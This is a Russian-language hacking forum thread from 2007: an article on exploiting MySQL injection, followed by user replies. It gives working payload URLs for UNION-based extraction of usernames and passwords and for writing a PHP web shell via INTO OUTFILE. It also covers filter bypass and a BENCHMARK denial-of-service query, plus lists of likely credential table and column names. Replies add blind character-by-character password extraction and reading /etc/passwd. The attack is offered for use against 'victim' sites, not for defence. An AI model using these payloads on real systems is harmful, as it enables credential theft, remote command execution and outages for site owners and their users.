Mysql injection

Тема в разделе "Статьи", создана пользователем Constantine, 21 май 2007.

  1. Constantine
    Constantine Guest
    Этой статьей я собираюсь открыть трилогию в которой постораюсь осветить основные виды уязвимостей порталов сайтов и веб приложений

    Intro
    Пожалуй самая опасная среди самых распространенных дыр. Встречаеться достаточно часто, и самое приятное что эту багу можно найти даже на самых популярных и высокопосещаемых проектах.

    Что это за зверь такой?
    Эта уязвимость позволяет выполнять произвольные команды в базе данных уязвимого ресурса


    Не буду вдаваться в подробности теории, сразу же перейдем к практическому расмотрению баги
    Обнаружение

    Определить возможность проведения иньекции достаточно просто, рассомтрим пример:
    http://www.site.ru/home.php?id=1

    Проверка производиться с помощью подстанвки в переменную одинарной кавычки
    http://www.site.ru/index.php?page=1'
    Если врезультате вы получили сообщение аля
    You have an error in your mysql. syntax или MySQL Error: mysql_query(.......) error expretion syntax...
    то ресурс уязвим

    Другим способом выявления наличия иньекции может служить следующий прием

    Если при таком запросе
    http://site.ru/home.php?id=3-1

    вам вернули http://site.ru/home.php?id=2
    то сайт уязвим

    Далее начинаеться длительный и малоприятный процесс подбора
    Для начала определим количество столбцов, для этого используем конструкцию +order+by+x, где х- число колонок

    Таким образом если при запросе
    Код:
    http://site.ru/home.php?id=3+order+by+6/*
    - ошибка есть
    а
    Код:
    http://site.ru/home.php?id=3+order+by+5/*
    - ошибки нет
    то столбцов 5

    Теперь нам нужно найти те поля, которые непосредственно отображаются на страничке
    Для этого составляем следующий запрос(строго соответсвующий числу столбцов)

    Код:
    http://site.ru/home.php?id=3+UNION+SELECT+1,2,3,4,5/*
    Значение операторов union и select можно посмотреть в любом справочнике, давайте пока просто примем на веру

    Предположим на страничке отобразилась цифра 3
    Если на страничку вернулось ее исходное содержание(http://site.ru/home.php?id=3), то отчаиваться не стоит надо просто перейти к несуществующим значениям id, например составив такой запрос
    Код:
    http://site.ru/home.php?id=-3+UNION+SELECT+1,2,3,4,5/*
    или

    Код:
    http://site.ru/home.php?id=999999+UNION+SELECT+1,2,3,4,5/*
    второй способ предпочтительней

    Итак 3 столбец принтабелен, читаем версию
    Код:
    http://site.ru/home.php?id=999999+UNION+SELECT+1,2,version(),4,5/*
    Если вы попали на 5 версию благодарите всевышнего, все что вам потребуеться сделать это просмотреть наименования таблиц и столбцов следцющими запросами

    Код:
    http://site.ru/home.php?id=999999+UNION+SELECT+1,2,Table_name,4,5+from+information_schema.tables/*
    Код:
    http://site.ru/home.php?id=999999+UNION+SELECT+1,2,Column_name,4,5+from+information_schema.columns/*
    Если выводиться только одна строчка, используйте конструкцию limit+x,x

    Код:
    http://site.ru/home.php?id=999999+UNION+SELECT+1,2,Table_name,4,5+from+information_schema.tables+limit+3,3/*
    и далее аналогично, сопоставте имена таблиц и столбцов и выводите информацию

    Гораздо хуже если нам попалась 4 версия, здесь подбирать таблицы приходиться вручную и тут все зависит от того насколько грамотно названы таблицы и насколько хорошо вы знаете вырианты названий таблиц. Рассмотрим самый простой случай информация о пользователях храниться в таблице user

    Код:
    http://site.ru/home.php?id=999999+UNION+SELECT+1,2,3,4,5+from+user/*
    Если цифра 3 осталась, значит вы правельно подобрали имя таблицы, вслучае неправельного подбора вы получите ошибку, так что определить правельность подбора таблицы очень легко

    Далее подбираем имена столбцов, как правило их названия более тревиальны
    В данном случае нам нужно вывести и имя и пароль через однин столбец, используем следующую конструкцию
    Код:
    http://site.ru/home.php?id=999999+UNION+SELECT+1,2,concat(user,char(58),password),4,5+from+user/*
    Если вы получили ответ ввиде имя:пароль то хек удался.

    Перебрать учетные записи можно с помощью того же limit a
    Код:
    http://site.ru/home.php?id=999999+UNION+SELECT+1,2,concat(user,char(58),password),4,5+from+user+limit+2,2/*

    Залитие шелла

    Иньекция так же позволяет нам создать шелл
    Код:
    http://www.site.ru/index.php?page=-1+union+select+1,2,,'<?php system($_GET[cmd]); ?>'+,4,5from+user+into+outfile+'/home/site/html/shell.php'/*
    Такой запрос создаст шелл в директории "/home/site/html/"

    Обход филтрации
    Иногда все фильтруеться настолько жестко, что информция не выводиться даже при правельно сформированном запросе, рекомендую использовать конструкцию convert
    Код:
    http://site.ru/home.php?id=999999+UNION+SELECT+1,2,convert(concat(user,char(58),password)+using+latin1),4,5+from+user+limit+2,2/*

    И на сладкое есть возможность заДДосить ресурс)))

    Код:
    http://site.ru/home.php?id=999999+1+BENCHMARK(10000000,BENCHMARK(10000000,md5(curren  t_date)))

    Наиболее популярные названия таблиц

    user
    users
    admin
    admins
    mysql.user
    administrations
    regusers
    reguser
    accounts
    account
    members
    member

    наиболее популярные названия колонок
    login
    user
    name
    nickname
    nick
    user_name
    password
    pass
    pwd
    pws
    User_password
     
    Последнее редактирование модератором: 11 ноя 2007
    21 май 2007
    5 пользователям это понравилось.
  2. Constantine
    Constantine Guest
    Последнее редактирование модератором: 8 окт 2007
    7 июн 2007
    3 пользователям это понравилось.
  3. ins
    ins Guest
    очень хорошая, статья. буквально все понятно, спасибо за проделанную работу...
     
    7 июн 2007
  4. Gangman
    Gangman Новичок
    Симпатии:
    0
    огромное спасибо за статью.
     
    19 июн 2007
  5. n1†R0x
    n1†R0x Guest
    >accaunts
    >accaunt
    account :)

    в целом: описано не все )
    иногда вывод ошибки отключен
    иногда id=3-1 и id=2 не совпадают, но скуля есть)
    иногда нужно поставить кавычку при подборе кол-ва столбцов, без нее не работает.. иногда наоборот.

    в общем, ньюансов много, но в целом неплохо, правда это уже перетерли во многих статьях и все очень похоже)
     
    19 июн 2007
  6. Muxa1L
    Muxa1L Новичок
    Симпатии:
    2
    Хорошая статья буду знать больше
     
    13 июл 2007
  7. Хел
    Хел Guest
    позволю себе маленькое дополнение - при вставке незакрытого комментария /* возможны незакрытые скобки в запрсое. И если при правильном злонамеренном запросе вам выводится ошибка-попробуйте нащупать сколько скобок незакрыто:

    http://victim.com/news.php?id=1+)+запрос
    если вывелась ошибка-подставляем еще одну скобку, до тех пор пока не будет появляться ошибка.
     
    14 июл 2007
  8. SidWent
    SidWent Новичок
    Симпатии:
    0
    Очень полезная книженция SQL сборка античата
     
    15 июл 2007
  9. myxomop
    myxomop Новичок
    Симпатии:
    1
    видео урок сдох( просьба перезалить
     
    8 окт 2007
    1 человеку нравится это.
  10. Constantine
    Constantine Guest
    Перезалил
     
    8 окт 2007
  11. myxomop
    myxomop Новичок
    Симпатии:
    1
    :cool: Constantine,
    благодарю :cool:
     
    11 окт 2007
  12. Chakir
    Chakir Новичок
    Симпатии:
    0
    14 окт 2007
  13. Grey_a
    Grey_a Новичок
    Симпатии:
    4
    И еще маленькое дополнение:

    3-я ветка мускула.

    Достаточно обыденная ситуация: копаем сайт, вроде бы нашли скулю, вроде даже подобрали число колонок, подставляем подзапрос и тут бац и ошибка, что же делать? проверить версию БД вот что.

    Формируем запрос:

    Код:
    id=11+and+substring(version(),1,1)=3/*
    где 11 существующее значениие (можно и не существующее, но тогда нужно писать не and, а or), а функция substring(version(),1,1) возвращает первый символ (а именно он нам и нужен) версии БД.

    Смысл запроса - вернуть данные с таким то id и при условии что первый символ версии равен 3.

    Если запрос не выполнился, то версия мускула будет выше 3, а значит тот самый подзапрос составлен некоректно или он обрубается фильтрацией (но это все уже другая тема...), а вот если все выполнилось удачно, то значит версия мускула 3.

    Что можно выжать из мускула 3 версии?

    Не так много как хотелось бы, т.к. подзапросы в 3 версии отсутствуют, то придется обойтись посимвольным брутом, и то только если текущий подзапрос использует, нжную нам, таблицу с пользователями - а это бывает ой как редко.

    Предположим что запрос выглядит так:

    Код:
    $query = mysql_query("SELECT email FROM user WHERE id='$id';");
    В этом случае будем вытакскивать пароль пользователя посимвольно, алгоритм следующий:

    1) Определям длину пароля пользователя
    2) Посимвольно достаём пароль

    Длина пароля определяется так:

    Код:
    id=11+and+length(password)>5/* т.е если длина пароля больше 5, то результат должен выполнится успешно
    id=11+and+length(password)<10/* т.е если длина пароля меньше 10, то результат должен выполнится успешно
    id=11+and+length(password)=8/* т.е. если длина пароля равна 8, то результат должен выполнится успешно
    Длину определили теперь вытаскиваем каждый символ пароля:

    Код:
    id=11+and+ascii(substring(password,1,1))>40/* - т.е. проверям больше какого числа ascii код первого символа
    
    id=11+and+ascii(substring(password,2,1))<100/* - т.е. проверям меньше какого числа ascii код второго символа
    и т.д. и так до последнего символа.

    И еще один нюанс, предположим в текущем запросе используется нужная нам таблица, но как определить имя колонки?

    Достаточно просто, формируем такой запрос:

    Код:
    id=11+and+length(password)>=1/* - если запрос выполнился без ошибок, то имя колонки password, если нет, то пробуем другое имя
    id=11+and+length(pass)>=1/* - и т.д. ...
    Логика тут простая пароль у юзера обязательно должен быть, поэтому его длина равна хотя бы 1, т.е. единственным что может быть неправильным в таком запросе это имя колонки - вот и будем перебирать пока не найдем правильное имя.

    Как показывает практика "раскрутить" sql инъекцию в 3 ветки мускула крайне сложно.

    Продолжу:

    С посимвольным брутом мы уже знакомы, где ще можно его применять? А применять его можно в "слепых инъекциях" (инъекциях которые не имеют выводимых колонок).

    Логика там точно такая же:

    Определям версию БД и в зависмости от версии смотрим что можно сделать.

    Код:
    id=11+and+substring(version(),1,1)=4/* -  версия 4, можно использоват подзапросы
    id=11+and+substring(version(),1,1)=5/* - версия 5, тут есть таблицы information_schema.tables и information_schema.columns (про них читать -> здесь <-)
     
    Последнее редактирование: 4 ноя 2007
    4 ноя 2007
    1 человеку нравится это.
  14. Хел
    Хел Guest
    Grey_a,
    аналог см. в статье mssql, pgsql & mysql v3x
     
    4 ноя 2007
  15. spl0it
    spl0it Guest
    У меня вопрос касательно подбора полей: написано что если при запросе +order+by+6/* есть ошибка, а при +order+by+5/* нет.. У меня ошибка есть и при +order+by+6/* и при +order+by+9/* и даже при +order+by+999/* .. Это что значит что на сайте больше 1000 полей????
     
    25 ноя 2007
    1 человеку нравится это.
  16. Koller
    Koller Guest
    стукни в аську...попробую помочь...
    p.s. на аватарке написано...
     
    25 ноя 2007
  17. Constantine
    Constantine Guest
    как раз наоборот это значит что полей меньше тысячи. Читайте внимательней, выясняеться последнее значение при котором ошибки нет, это и есть число колонок
     
    25 ноя 2007
  18. Koller
    Koller Guest
    У него ошибка другого рода...версия там стоит 3.x...
     
    25 ноя 2007
  19. spl0it
    spl0it Guest
    Я о том и писал что при любом значении хоть 1 хоть 2 хоть 300 там была ошибка..
     
    26 ноя 2007
  20. Chakir
    Chakir Новичок
    Симпатии:
    0
    забыл
    2 названия поля
    mail
    email

    а ну да и про LOAD_FILE('/etc/passwd')

    не рассказал а так статейка кульная даполни и будет хорошим маном куда нубов посылать можно будет
     
    Последнее редактирование: 30 дек 2007
    30 дек 2007
Загрузка...